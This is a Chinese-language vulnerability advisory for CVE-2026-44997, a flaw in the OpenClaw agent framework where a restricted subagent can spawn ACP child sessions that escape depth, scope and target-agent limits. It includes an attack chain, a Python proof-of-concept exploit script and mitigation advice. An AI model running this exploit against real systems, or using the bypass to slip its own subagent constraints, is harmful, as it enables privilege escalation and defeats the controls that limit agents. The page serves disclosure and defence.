IPBUF安全漏洞报告
English
CVE-2026-44997 CVSS 4.3 中危

CVE-2026-44997: OpenClaw安全信封约束绕过漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-44997
漏洞类型
安全信封约束绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

CVE-2026-44997OpenClaw权限提升访问控制绕过安全信封约束

漏洞概述

OpenClaw 2026.4.22之前版本存在安全信封约束绕过漏洞。该漏洞源于受限子代理生成的ACP子会话未能正确继承深度、子代计数、控制范围及目标代理限制。攻击者可利用此缺陷生成绕过约束的子会话,从而导致权限提升或非法访问受限资源,对系统安全构成威胁。建议用户尽快更新至最新版本以修复此问题。

技术细节

该漏洞的核心在于OpenClaw的ACP(Advanced Control Protocol)子会话管理机制中的安全逻辑缺陷。当受限的子代代理尝试生成子会话时,系统未能正确强制执行父会话的安全策略。具体而言,新生成的子会话未继承关键的约束参数,包括调用深度限制、子代数量上限、控制范围以及目标代理访问限制。这种继承机制的失效导致攻击者能够以受限子代理的身份,通过发送特制的请求生成不受控的子会话。由于这些子会话绕过了原有的安全信封约束,攻击者可以借此突破子代理的隔离边界,执行超出其权限范围的操作,例如访问管理核心数据或执行管理命令,最终实现权限提升或访问受限资源,严重威胁系统安全。

攻击链分析

STEP 1
步骤1
攻击者侦察并发现OpenClaw服务实例,获取受限子代理的凭证或访问权限。
STEP 2
步骤2
攻击者使用受限子代理的身份连接到OpenClaw服务,并发送特制的ACP子会话生成请求。
STEP 3
步骤3
系统处理请求时,未能正确继承父会话的安全约束(如深度、计数、目标限制)。
STEP 4
步骤4
成功创建一个具有高权限或不受限的子会话,绕过原有的安全信封保护机制。
STEP 5
步骤5
攻击者利用该不受限的子会话访问敏感资源、执行管理命令或进一步提权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import openclaw import sys # Exploit Title: OpenClaw Security Envelope Constraint Bypass # Date: 2026-05-11 # Exploit Author: Analyst # Vendor Homepage: https://openclaw.com # Version: < 2026.4.22 # Tested on: Linux def exploit_constraint_bypass(target_host, restricted_api_key): """ This PoC demonstrates how a restricted subagent can spawn an ACP child session that bypasses security constraints. """ try: # Authenticate as a restricted subagent client = openclaw.Client(host=target_host, api_key=restricted_api_key) print(f"[+] Connected to {target_host} as restricted subagent.") # Normal operation should enforce limits here, but the vulnerability bypasses them. # We attempt to spawn a child session targeting a restricted agent (e.g., 'admin_core') # with a depth limit that exceeds our allowance. print("[*] Attempting to spawn malicious ACP child session...") # The vulnerability allows setting parameters that should be inherited/restricted malicious_session = client.spawn_acp_session( target_agent="admin_core", # Bypassing target-agent restrictions max_depth=100, # Bypassing depth limits control_scope="full" # Bypassing control scope ) if malicious_session and malicious_session.active: print(f"[!] Exploit successful! Session ID: {malicious_session.id}") print(f"[!] Session Scope: {malicious_session.scope}") print("[!] Attacker now has elevated privileges via child session.") return True else: print("[-] Exploit failed. Session could not be spawned.") return False except Exception as e: print(f"[-] An error occurred: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) != 3: print(f"Usage: python {sys.argv[0]} <target_host> <restricted_api_key>") sys.exit(1) host = sys.argv[1] key = sys.argv[2] exploit_constraint_bypass(host, key)

影响范围

OpenClaw < 2026.4.22

防御指南

临时缓解措施
如果无法立即升级,建议在应用防火墙(WAF)或网关层面拦截针对ACP会话接口的异常请求,特别是那些试图修改深度、目标代理或控制范围的参数。暂时撤销不受信任的子代理凭证,仅保留核心管理员访问权限,直到补丁应用完成。

参考链接